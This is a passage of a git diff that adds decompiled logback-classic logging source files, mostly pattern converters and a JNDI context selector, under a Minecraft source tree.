+import ch.qos.logback.classic.spi.ILoggingEvent;
+
+
+
+
+
+
+
+
+
+
+public class LoggerConverter
+  extends NamedConverter
+{
+  public LoggerConverter() {}
+  
+  protected String getFullyQualifiedName(ILoggingEvent event)
+  {
+    return event.getLoggerName();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/pattern/MDCConverter.java b/src/minecraft/ch/qos/logback/classic/pattern/MDCConverter.java
new file mode 100644
index 0000000..46a2846
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/pattern/MDCConverter.java
@@ -0,0 +1,81 @@
+package ch.qos.logback.classic.pattern;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.core.util.OptionHelper;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class MDCConverter
+  extends ClassicConverter
+{
+  private String key;
+  private String defaultValue = "";
+  
+  public MDCConverter() {}
+  
+  public void start() { String[] keyInfo = OptionHelper.extractDefaultReplacement(getFirstOption());
+    key = keyInfo[0];
+    if (keyInfo[1] != null) {
+      defaultValue = keyInfo[1];
+    }
+    super.start();
+  }
+  
+  public void stop()
+  {
+    key = null;
+    super.stop();
+  }
+  
+  public String convert(ILoggingEvent event)
+  {
+    Map<String, String> mdcPropertyMap = event.getMDCPropertyMap();
+    
+    if (mdcPropertyMap == null) {
+      return defaultValue;
+    }
+    
+    if (key == null) {
+      return outputMDCForAllKeys(mdcPropertyMap);
+    }
+    
+    String value = (String)event.getMDCPropertyMap().get(key);
+    if (value != null) {
+      return value;
+    }
+    return defaultValue;
+  }
+  
+
+
+
+
+  private String outputMDCForAllKeys(Map<String, String> mdcPropertyMap)
+  {
+    StringBuilder buf = new StringBuilder();
+    boolean first = true;
+    for (Map.Entry<String, String> entry : mdcPropertyMap.entrySet()) {
+      if (first) {
+        first = false;
+      } else {
+        buf.append(", ");
+      }
+      
+      buf.append((String)entry.getKey()).append('=').append((String)entry.getValue());
+    }
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/pattern/MarkerConverter.java b/src/minecraft/ch/qos/logback/classic/pattern/MarkerConverter.java
new file mode 100644
index 0000000..4582f8a
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/pattern/MarkerConverter.java
@@ -0,0 +1,36 @@
+package ch.qos.logback.classic.pattern;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import org.slf4j.Marker;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class MarkerConverter
+  extends ClassicConverter
+{
+  public MarkerConverter() {}
+  
+  private static String EMPTY = "";
+  
+  public String convert(ILoggingEvent le) {
+    Marker marker = le.getMarker();
+    if (marker == null) {
+      return EMPTY;
+    }
+    return marker.toString();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/pattern/MessageConverter.java b/src/minecraft/ch/qos/logback/classic/pattern/MessageConverter.java
new file mode 100644
index 0000000..864a541
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/pattern/MessageConverter.java
@@ -0,0 +1,28 @@
+package ch.qos.logback.classic.pattern;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class MessageConverter
+  extends ClassicConverter
+{
+  public MessageConverter() {}
+  
+  public String convert(ILoggingEvent event)
+  {
+    return event.getFormattedMessage();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/pattern/MethodOfCallerConverter.java b/src/minecraft/ch/qos/logback/classic/pattern/MethodOfCallerConverter.java
new file mode 100644
index 0000000..cb0a55e
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/pattern/MethodOfCallerConverter.java
@@ -0,0 +1,28 @@
+package ch.qos.logback.classic.pattern;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+
+
+
+
+
+
+
+
+
+
+
+public class MethodOfCallerConverter
+  extends ClassicConverter
+{
+  public MethodOfCallerConverter() {}
+  
+  public String convert(ILoggingEvent le)
+  {
+    StackTraceElement[] cda = le.getCallerData();
+    if ((cda != null) && (cda.length > 0)) {
+      return cda[0].getMethodName();
+    }
+    return "?";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/pattern/NamedConverter.java b/src/minecraft/ch/qos/logback/classic/pattern/NamedConverter.java
new file mode 100644
index 0000000..cfa5dea
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/pattern/NamedConverter.java
@@ -0,0 +1,55 @@
+package ch.qos.logback.classic.pattern;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class NamedConverter
+  extends ClassicConverter
+{
+  Abbreviator abbreviator = null;
+  
+
+
+  public NamedConverter() {}
+  
+
+  protected abstract String getFullyQualifiedName(ILoggingEvent paramILoggingEvent);
+  
+
+  public void start()
+  {
+    String optStr = getFirstOption();
+    if (optStr != null) {
+      try {
+        int targetLen = Integer.parseInt(optStr);
+        if (targetLen == 0) {
+          abbreviator = new ClassNameOnlyAbbreviator();
+        } else if (targetLen > 0) {
+          abbreviator = new TargetLengthBasedClassNameAbbreviator(targetLen);
+        }
+      }
+      catch (NumberFormatException nfe) {}
+    }
+  }
+  
+  public String convert(ILoggingEvent event)
+  {
+    String fqn = getFullyQualifiedName(event);
+    
+    if (abbreviator == null) {
+      return fqn;
+    }
+    return abbreviator.abbreviate(fqn);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/pattern/NopThrowableInformationConverter.java b/src/minecraft/ch/qos/logback/classic/pattern/NopThrowableInformationConverter.java
new file mode 100644
index 0000000..3a9a5e5
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/pattern/NopThrowableInformationConverter.java
@@ -0,0 +1,42 @@
+package ch.qos.logback.classic.pattern;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class NopThrowableInformationConverter
+  extends ThrowableHandlingConverter
+{
+  public NopThrowableInformationConverter() {}
+  
+  public String convert(ILoggingEvent event)
+  {
+    return "";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/pattern/PropertyConverter.java b/src/minecraft/ch/qos/logback/classic/pattern/PropertyConverter.java
new file mode 100644
index 0000000..37a6ae6
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/pattern/PropertyConverter.java
@@ -0,0 +1,45 @@
+package ch.qos.logback.classic.pattern;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.classic.spi.LoggerContextVO;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+public final class PropertyConverter
+  extends ClassicConverter
+{
+  String key;
+  
+  public PropertyConverter() {}
+  
+  public void start()
+  {
+    String optStr = getFirstOption();
+    if (optStr != null) {
+      key = optStr;
+      super.start();
+    }
+  }
+  
+  public String convert(ILoggingEvent event) {
+    if (key == null) {
+      return "Property_HAS_NO_KEY";
+    }
+    LoggerContextVO lcvo = event.getLoggerContextVO();
+    Map<String, String> map = lcvo.getPropertyMap();
+    String val = (String)map.get(key);
+    if (val != null) {
+      return val;
+    }
+    return System.getProperty(key);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/pattern/RelativeTimeConverter.java b/src/minecraft/ch/qos/logback/classic/pattern/RelativeTimeConverter.java
new file mode 100644
index 0000000..5c20b9f
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/pattern/RelativeTimeConverter.java
@@ -0,0 +1,35 @@
+package ch.qos.logback.classic.pattern;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.classic.spi.LoggerContextVO;
+
+
+
+
+
+
+
+
+
+
+public class RelativeTimeConverter
+  extends ClassicConverter
+{
+  public RelativeTimeConverter() {}
+  
+  long lastTimestamp = -1L;
+  String timesmapCache = null;
+  
+  public String convert(ILoggingEvent event) {
+    long now = event.getTimeStamp();
+    
+    synchronized (this)
+    {
+      if (now != lastTimestamp) {
+        lastTimestamp = now;
+        timesmapCache = Long.toString(now - event.getLoggerContextVO().getBirthTime());
+      }
+      return timesmapCache;
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/pattern/RootCauseFirstThrowableProxyConverter.java b/src/minecraft/ch/qos/logback/classic/pattern/RootCauseFirstThrowableProxyConverter.java
new file mode 100644
index 0000000..d3da38d
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/pattern/RootCauseFirstThrowableProxyConverter.java
@@ -0,0 +1,52 @@
+package ch.qos.logback.classic.pattern;
+
+import ch.qos.logback.classic.spi.IThrowableProxy;
+import ch.qos.logback.classic.spi.ThrowableProxyUtil;
+import ch.qos.logback.core.CoreConstants;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class RootCauseFirstThrowableProxyConverter
+  extends ExtendedThrowableProxyConverter
+{
+  public RootCauseFirstThrowableProxyConverter() {}
+  
+  protected String throwableProxyToString(IThrowableProxy tp)
+  {
+    StringBuilder buf = new StringBuilder(2048);
+    recursiveAppendRootCauseFirst(buf, null, 1, tp);
+    return buf.toString();
+  }
+  
+  protected void recursiveAppendRootCauseFirst(StringBuilder sb, String prefix, int indent, IThrowableProxy tp) {
+    if (tp.getCause() != null) {
+      recursiveAppendRootCauseFirst(sb, prefix, indent, tp.getCause());
+      prefix = null;
+    }
+    ThrowableProxyUtil.indent(sb, indent - 1);
+    if (prefix != null) {
+      sb.append(prefix);
+    }
+    ThrowableProxyUtil.subjoinFirstLineRootCauseFirst(sb, tp);
+    sb.append(CoreConstants.LINE_SEPARATOR);
+    subjoinSTEPArray(sb, indent, tp);
+    IThrowableProxy[] suppressed = tp.getSuppressed();
+    if (suppressed != null) {
+      for (IThrowableProxy current : suppressed) {
+        recursiveAppendRootCauseFirst(sb, "Suppressed: ", indent + 1, current);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/pattern/SyslogStartConverter.java b/src/minecraft/ch/qos/logback/classic/pattern/SyslogStartConverter.java
new file mode 100644
index 0000000..49f8bf3
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/pattern/SyslogStartConverter.java
@@ -0,0 +1,110 @@
+package ch.qos.logback.classic.pattern;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.classic.util.LevelToSyslogSeverity;
+import ch.qos.logback.core.net.SyslogAppenderBase;
+import java.net.InetAddress;
+import java.net.UnknownHostException;
+import java.text.SimpleDateFormat;
+import java.util.Calendar;
+import java.util.Date;
+import java.util.Locale;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SyslogStartConverter
+  extends ClassicConverter
+{
+  long lastTimestamp = -1L;
+  String timesmapStr = null;
+  SimpleDateFormat simpleMonthFormat;
+  SimpleDateFormat simpleTimeFormat;
+  private final Calendar calendar = Calendar.getInstance(Locale.US);
+  String localHostName;
+  int facility;
+  
+  public SyslogStartConverter() {}
+  
+  public void start() { int errorCount = 0;
+    
+    String facilityStr = getFirstOption();
+    if (facilityStr == null) {
+      addError("was expecting a facility string as an option");
+      return;
+    }
+    
+    facility = SyslogAppenderBase.facilityStringToint(facilityStr);
+    
+    localHostName = getLocalHostname();
+    try
+    {
+      simpleMonthFormat = new SimpleDateFormat("MMM", Locale.US);
+      simpleTimeFormat = new SimpleDateFormat("HH:mm:ss", Locale.US);
+    } catch (IllegalArgumentException e) {
+      addError("Could not instantiate SimpleDateFormat", e);
+      errorCount++;
+    }
+    
+    if (errorCount == 0) {
+      super.start();
+    }
+  }
+  
+  public String convert(ILoggingEvent event) {
+    StringBuilder sb = new StringBuilder();
+    
+    int pri = facility + LevelToSyslogSeverity.convert(event);
+    
+    sb.append("<");
+    sb.append(pri);
+    sb.append(">");
+    sb.append(computeTimeStampString(event.getTimeStamp()));
+    sb.append(' ');
+    sb.append(localHostName);
+    sb.append(' ');
+    
+    return sb.toString();
+  }
+  
+
+
+
+
+  public String getLocalHostname()
+  {
+    try
+    {
+      InetAddress addr = InetAddress.getLocalHost();
+      return addr.getHostName();
+    } catch (UnknownHostException uhe) {
+      addError("Could not determine local host name", uhe); }
+    return "UNKNOWN_LOCALHOST";
+  }
+  
+  String computeTimeStampString(long now)
+  {
+    synchronized (this)
+    {
+
+      if (now / 1000L != lastTimestamp) {
+        lastTimestamp = (now / 1000L);
+        Date nowDate = new Date(now);
+        calendar.setTime(nowDate);
+        timesmapStr = String.format("%s %2d %s", new Object[] { simpleMonthFormat.format(nowDate), Integer.valueOf(calendar.get(5)), simpleTimeFormat.format(nowDate) });
+      }
+      
+      return timesmapStr;
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/pattern/TargetLengthBasedClassNameAbbreviator.java b/src/minecraft/ch/qos/logback/classic/pattern/TargetLengthBasedClassNameAbbreviator.java
new file mode 100644
index 0000000..65c2abc
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/pattern/TargetLengthBasedClassNameAbbreviator.java
@@ -0,0 +1,128 @@
+package ch.qos.logback.classic.pattern;
+
+import java.io.PrintStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TargetLengthBasedClassNameAbbreviator
+  implements Abbreviator
+{
+  final int targetLength;
+  
+  public TargetLengthBasedClassNameAbbreviator(int targetLength)
+  {
+    this.targetLength = targetLength;
+  }
+  
+  public String abbreviate(String fqClassName) {
+    StringBuilder buf = new StringBuilder(targetLength);
+    if (fqClassName == null) {
+      throw new IllegalArgumentException("Class name may not be null");
+    }
+    
+    int inLen = fqClassName.length();
+    if (inLen < targetLength) {
+      return fqClassName;
+    }
+    
+    int[] dotIndexesArray = new int[16];
+    
+
+    int[] lengthArray = new int[17];
+    
+    int dotCount = computeDotIndexes(fqClassName, dotIndexesArray);
+    
+
+
+
+    if (dotCount == 0) {
+      return fqClassName;
+    }
+    
+    computeLengthArray(fqClassName, dotIndexesArray, lengthArray, dotCount);
+    
+    for (int i = 0; i <= dotCount; i++) {
+      if (i == 0) {
+        buf.append(fqClassName.substring(0, lengthArray[i] - 1));
+      } else {
+        buf.append(fqClassName.substring(dotIndexesArray[(i - 1)], dotIndexesArray[(i - 1)] + lengthArray[i]));
+      }
+    }
+    
+
+
+    return buf.toString();
+  }
+  
+  static int computeDotIndexes(String className, int[] dotArray) {
+    int dotCount = 0;
+    int k = 0;
+    
+    for (;;)
+    {
+      k = className.indexOf('.', k);
+      if ((k == -1) || (dotCount >= 16)) break;
+      dotArray[dotCount] = k;
+      dotCount++;
+      k++;
+    }
+    
+
+
+    return dotCount;
+  }
+  
+  void computeLengthArray(String className, int[] dotArray, int[] lengthArray, int dotCount)
+  {
+    int toTrim = className.length() - targetLength;
+    
+
+
+
+
+    for (int i = 0; i < dotCount; i++) {
+      int previousDotPosition = -1;
+      if (i > 0) {
+        previousDotPosition = dotArray[(i - 1)];
+      }
+      int available = dotArray[i] - previousDotPosition - 1;
+      
+
+      int len = available < 1 ? available : 1;
+      
+
+      if (toTrim > 0) {
+        len = available < 1 ? available : 1;
+      } else {
+        len = available;
+      }
+      toTrim -= available - len;
+      lengthArray[i] = (len + 1);
+    }
+    
+    int lastDotIndex = dotCount - 1;
+    lengthArray[dotCount] = (className.length() - dotArray[lastDotIndex]);
+  }
+  
+  static void printArray(String msg, int[] ia) {
+    System.out.print(msg);
+    for (int i = 0; i < ia.length; i++) {
+      if (i == 0) {
+        System.out.print(ia[i]);
+      } else {
+        System.out.print(", " + ia[i]);
+      }
+    }
+    System.out.println();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/pattern/ThreadConverter.java b/src/minecraft/ch/qos/logback/classic/pattern/ThreadConverter.java
new file mode 100644
index 0000000..cdb3bec
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/pattern/ThreadConverter.java
@@ -0,0 +1,28 @@
+package ch.qos.logback.classic.pattern;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ThreadConverter
+  extends ClassicConverter
+{
+  public ThreadConverter() {}
+  
+  public String convert(ILoggingEvent event)
+  {
+    return event.getThreadName();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/pattern/ThrowableHandlingConverter.java b/src/minecraft/ch/qos/logback/classic/pattern/ThrowableHandlingConverter.java
new file mode 100644
index 0000000..423f91c
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/pattern/ThrowableHandlingConverter.java
@@ -0,0 +1,27 @@
+package ch.qos.logback.classic.pattern;
+
+
+
+
+
+
+
+
+
+public abstract class ThrowableHandlingConverter
+  extends ClassicConverter
+{
+  public ThrowableHandlingConverter() {}
+  
+
+
+
+
+
+
+
+  boolean handlesThrowable()
+  {
+    return true;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/pattern/ThrowableProxyConverter.java b/src/minecraft/ch/qos/logback/classic/pattern/ThrowableProxyConverter.java
new file mode 100644
index 0000000..aa75fc7
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/pattern/ThrowableProxyConverter.java
@@ -0,0 +1,249 @@
+package ch.qos.logback.classic.pattern;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.classic.spi.IThrowableProxy;
+import ch.qos.logback.classic.spi.StackTraceElementProxy;
+import ch.qos.logback.classic.spi.ThrowableProxyUtil;
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.CoreConstants;
+import ch.qos.logback.core.boolex.EvaluationException;
+import ch.qos.logback.core.boolex.EventEvaluator;
+import ch.qos.logback.core.status.ErrorStatus;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ThrowableProxyConverter
+  extends ThrowableHandlingConverter
+{
+  protected static final int BUILDER_CAPACITY = 2048;
+  int lengthOption;
+  List<EventEvaluator<ILoggingEvent>> evaluatorList = null;
+  List<String> ignoredStackTraceLines = null;
+  
+  int errorCount = 0;
+  
+  public ThrowableProxyConverter() {}
+  
+  public void start() {
+    String lengthStr = getFirstOption();
+    
+    if (lengthStr == null) {
+      lengthOption = Integer.MAX_VALUE;
+    } else {
+      lengthStr = lengthStr.toLowerCase();
+      if ("full".equals(lengthStr)) {
+        lengthOption = Integer.MAX_VALUE;
+      } else if ("short".equals(lengthStr)) {
+        lengthOption = 1;
+      } else {
+        try {
+          lengthOption = Integer.parseInt(lengthStr);
+        } catch (NumberFormatException nfe) {
+          addError("Could not parse [" + lengthStr + "] as an integer");
+          lengthOption = Integer.MAX_VALUE;
+        }
+      }
+    }
+    
+    List optionList = getOptionList();
+    
+    if ((optionList != null) && (optionList.size() > 1)) {
+      int optionListSize = optionList.size();
+      for (int i = 1; i < optionListSize; i++) {
+        String evaluatorOrIgnoredStackTraceLine = (String)optionList.get(i);
+        Context context = getContext();
+        Map evaluatorMap = (Map)context.getObject("EVALUATOR_MAP");
+        EventEvaluator<ILoggingEvent> ee = (EventEvaluator)evaluatorMap.get(evaluatorOrIgnoredStackTraceLine);
+        
+        if (ee != null) {
+          addEvaluator(ee);
+        } else {
+          addIgnoreStackTraceLine(evaluatorOrIgnoredStackTraceLine);
+        }
+      }
+    }
+    super.start();
+  }
+  
+  private void addEvaluator(EventEvaluator<ILoggingEvent> ee) {
+    if (evaluatorList == null) {
+      evaluatorList = new ArrayList();
+    }
+    evaluatorList.add(ee);
+  }
+  
+  private void addIgnoreStackTraceLine(String ignoredStackTraceLine) {
+    if (ignoredStackTraceLines == null) {
+      ignoredStackTraceLines = new ArrayList();
+    }
+    ignoredStackTraceLines.add(ignoredStackTraceLine);
+  }
+  
+  public void stop() {
+    evaluatorList = null;
+    super.stop();
+  }
+  
+
+  protected void extraData(StringBuilder builder, StackTraceElementProxy step) {}
+  
+
+  public String convert(ILoggingEvent event)
+  {
+    IThrowableProxy tp = event.getThrowableProxy();
+    if (tp == null) {
+      return "";
+    }
+    
+
+    if (evaluatorList != null) {
+      boolean printStack = true;
+      for (int i = 0; i < evaluatorList.size(); i++) {
+        EventEvaluator<ILoggingEvent> ee = (EventEvaluator)evaluatorList.get(i);
+        try {
+          if (ee.evaluate(event)) {
+            printStack = false;
+            break;
+          }
+        } catch (EvaluationException eex) {
+          errorCount += 1;
+          if (errorCount < 4) {
+            addError("Exception thrown for evaluator named [" + ee.getName() + "]", eex);
+          }
+          else if (errorCount == 4) {
+            ErrorStatus errorStatus = new ErrorStatus("Exception thrown for evaluator named [" + ee.getName() + "].", this, eex);
+            
+
+            errorStatus.add(new ErrorStatus("This was the last warning about this evaluator's errors.We don't want the StatusManager to get flooded.", this));
+            
+
+            addStatus(errorStatus);
+          }
+        }
+      }
+      
+      if (!printStack) {
+        return "";
+      }
+    }
+    
+    return throwableProxyToString(tp);
+  }
+  
+  protected String throwableProxyToString(IThrowableProxy tp) {
+    StringBuilder sb = new StringBuilder(2048);
+    
+    recursiveAppend(sb, null, 1, tp);
+    
+    return sb.toString();
+  }
+  
+  private void recursiveAppend(StringBuilder sb, String prefix, int indent, IThrowableProxy tp) {
+    if (tp == null)
+      return;
+    subjoinFirstLine(sb, prefix, indent, tp);
+    sb.append(CoreConstants.LINE_SEPARATOR);
+    subjoinSTEPArray(sb, indent, tp);
+    IThrowableProxy[] suppressed = tp.getSuppressed();
+    if (suppressed != null) {
+      for (IThrowableProxy current : suppressed) {
+        recursiveAppend(sb, "Suppressed: ", indent + 1, current);
+      }
+    }
+    recursiveAppend(sb, "Caused by: ", indent, tp.getCause());
+  }
+  
+  private void subjoinFirstLine(StringBuilder buf, String prefix, int indent, IThrowableProxy tp) {
+    ThrowableProxyUtil.indent(buf, indent - 1);
+    if (prefix != null) {
+      buf.append(prefix);
+    }
+    subjoinExceptionMessage(buf, tp);
+  }
+  
+  private void subjoinExceptionMessage(StringBuilder buf, IThrowableProxy tp) {
+    buf.append(tp.getClassName()).append(": ").append(tp.getMessage());
+  }
+  
+  protected void subjoinSTEPArray(StringBuilder buf, int indent, IThrowableProxy tp) {
+    StackTraceElementProxy[] stepArray = tp.getStackTraceElementProxyArray();
+    int commonFrames = tp.getCommonFrames();
+    
+    boolean unrestrictedPrinting = lengthOption > stepArray.length;
+    
+
+    int maxIndex = unrestrictedPrinting ? stepArray.length : lengthOption;
+    if ((commonFrames > 0) && (unrestrictedPrinting)) {
+      maxIndex -= commonFrames;
+    }
+    
+    int ignoredCount = 0;
+    for (int i = 0; i < maxIndex; i++) {
+      StackTraceElementProxy element = stepArray[i];
+      if (!isIgnoredStackTraceLine(element.toString())) {
+        ThrowableProxyUtil.indent(buf, indent);
+        printStackLine(buf, ignoredCount, element);
+        ignoredCount = 0;
+        buf.append(CoreConstants.LINE_SEPARATOR);
+      } else {
+        ignoredCount++;
+        if (maxIndex < stepArray.length) {
+          maxIndex++;
+        }
+      }
+    }
+    if (ignoredCount > 0) {
+      printIgnoredCount(buf, ignoredCount);
+      buf.append(CoreConstants.LINE_SEPARATOR);
+    }
+    
+    if ((commonFrames > 0) && (unrestrictedPrinting)) {
+      ThrowableProxyUtil.indent(buf, indent);
+      buf.append("... ").append(tp.getCommonFrames()).append(" common frames omitted").append(CoreConstants.LINE_SEPARATOR);
+    }
+  }
+  
+  private void printStackLine(StringBuilder buf, int ignoredCount, StackTraceElementProxy element)
+  {
+    buf.append(element);
+    extraData(buf, element);
+    if (ignoredCount > 0) {
+      printIgnoredCount(buf, ignoredCount);
+    }
+  }
+  
+  private void printIgnoredCount(StringBuilder buf, int ignoredCount) {
+    buf.append(" [").append(ignoredCount).append(" skipped]");
+  }
+  
+  private boolean isIgnoredStackTraceLine(String line) {
+    if (ignoredStackTraceLines != null) {
+      for (String ignoredStackTraceLine : ignoredStackTraceLines) {
+        if (line.contains(ignoredStackTraceLine)) {
+          return true;
+        }
+      }
+    }
+    return false;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/pattern/Util.java b/src/minecraft/ch/qos/logback/classic/pattern/Util.java
new file mode 100644
index 0000000..ecf41f9
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/pattern/Util.java
@@ -0,0 +1,48 @@
+package ch.qos.logback.classic.pattern;
+
+import ch.qos.logback.classic.spi.ClassPackagingData;
+import java.util.HashMap;
+import java.util.Map;
+import org.slf4j.Marker;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Util
+{
+  public Util() {}
+  
+  static Map<String, ClassPackagingData> cache = new HashMap();
+  
+  public static boolean match(Marker marker, Marker[] markerArray) {
+    if (markerArray == null) {
+      throw new IllegalArgumentException("markerArray should not be null");
+    }
+    
+
+
+    int size = markerArray.length;
+    for (int i = 0; i < size; i++)
+    {
+
+      if (marker.contains(markerArray[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/pattern/color/HighlightingCompositeConverter.java b/src/minecraft/ch/qos/logback/classic/pattern/color/HighlightingCompositeConverter.java
new file mode 100644
index 0000000..8810e07
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/pattern/color/HighlightingCompositeConverter.java
@@ -0,0 +1,37 @@
+package ch.qos.logback.classic.pattern.color;
+
+import ch.qos.logback.classic.Level;
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.core.pattern.color.ForegroundCompositeConverterBase;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class HighlightingCompositeConverter
+  extends ForegroundCompositeConverterBase<ILoggingEvent>
+{
+  public HighlightingCompositeConverter() {}
+  
+  protected String getForegroundColorCode(ILoggingEvent event)
+  {
+    Level level = event.getLevel();
+    switch (level.toInt()) {
+    case 40000:  return "1;31";
+    case 30000:  return "31";
+    case 20000:  return "34"; }
+    return "39";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/selector/ContextJNDISelector.java b/src/minecraft/ch/qos/logback/classic/selector/ContextJNDISelector.java
new file mode 100644
index 0000000..23f010b
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/selector/ContextJNDISelector.java
@@ -0,0 +1,204 @@
+package ch.qos.logback.classic.selector;
+
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.classic.joran.JoranConfigurator;
+import ch.qos.logback.classic.util.ContextInitializer;
+import ch.qos.logback.classic.util.JNDIUtil;
+import ch.qos.logback.core.joran.spi.JoranException;
+import ch.qos.logback.core.status.InfoStatus;
+import ch.qos.logback.core.status.StatusManager;
+import ch.qos.logback.core.status.StatusUtil;
+import ch.qos.logback.core.status.WarnStatus;
+import ch.qos.logback.core.util.Loader;
+import ch.qos.logback.core.util.StatusPrinter;
+import java.net.URL;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import javax.naming.Context;
+import javax.naming.NamingException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ContextJNDISelector
+  implements ContextSelector
+{
+  private final Map<String, LoggerContext> synchronizedContextMap;
+  private final LoggerContext defaultContext;
+  private static final ThreadLocal<LoggerContext> threadLocal = new ThreadLocal();
+  
+  public ContextJNDISelector(LoggerContext context) {
+    synchronizedContextMap = Collections.synchronizedMap(new HashMap());
+    
+    defaultContext = context;
+  }
+  
+  public LoggerContext getDefaultLoggerContext() {
+    return defaultContext;
+  }
+  
+  public LoggerContext detachLoggerContext(String loggerContextName) {
+    return (LoggerContext)synchronizedContextMap.remove(loggerContextName);
+  }
+  
+  public LoggerContext getLoggerContext() {
+    String contextName = null;
+    Context ctx = null;
+    
+
+    LoggerContext lc = (LoggerContext)threadLocal.get();
+    if (lc != null) {
+      return lc;
+    }
+    
+
+    try
+    {
+      ctx = JNDIUtil.getInitialContext();
+      contextName = JNDIUtil.lookup(ctx, "java:comp/env/logback/context-name");
+    }
+    catch (NamingException ne) {}
+    
+
+    if (contextName == null)
+    {
+      return defaultContext;
+    }
+    
+    LoggerContext loggerContext = (LoggerContext)synchronizedContextMap.get(contextName);
+    
+    if (loggerContext == null)
+    {
+      loggerContext = new LoggerContext();
+      loggerContext.setName(contextName);
+      synchronizedContextMap.put(contextName, loggerContext);
+      URL url = findConfigFileURL(ctx, loggerContext);
+      if (url != null) {
+        configureLoggerContextByURL(loggerContext, url);
+      } else {
+        try {
+          new ContextInitializer(loggerContext).autoConfig();
+        }
+        catch (JoranException je) {}
+      }
+      
+      if (!StatusUtil.contextHasStatusListener(loggerContext))
+        StatusPrinter.printInCaseOfErrorsOrWarnings(loggerContext);
+    }
+    return loggerContext;
+  }
+  
+  private String conventionalConfigFileName(String contextName)
+  {
+    return "logback-" + contextName + ".xml";
+  }
+  
+  private URL findConfigFileURL(Context ctx, LoggerContext loggerContext) {
+    StatusManager sm = loggerContext.getStatusManager();
+    
+    String jndiEntryForConfigResource = JNDIUtil.lookup(ctx, "java:comp/env/logback/configuration-resource");
+    
+
+    if (jndiEntryForConfigResource != null) {
+      sm.add(new InfoStatus("Searching for [" + jndiEntryForConfigResource + "]", this));
+      
+      URL url = urlByResourceName(sm, jndiEntryForConfigResource);
+      if (url == null) {
+        String msg = "The jndi resource [" + jndiEntryForConfigResource + "] for context [" + loggerContext.getName() + "] does not lead to a valid file";
+        
+
+        sm.add(new WarnStatus(msg, this));
+      }
+      return url;
+    }
+    String resourceByConvention = conventionalConfigFileName(loggerContext.getName());
+    
+    return urlByResourceName(sm, resourceByConvention);
+  }
+  
+  private URL urlByResourceName(StatusManager sm, String resourceName)
+  {
+    sm.add(new InfoStatus("Searching for [" + resourceName + "]", this));
+    
+    URL url = Loader.getResource(resourceName, Loader.getTCL());
+    if (url != null) {
+      return url;
+    }
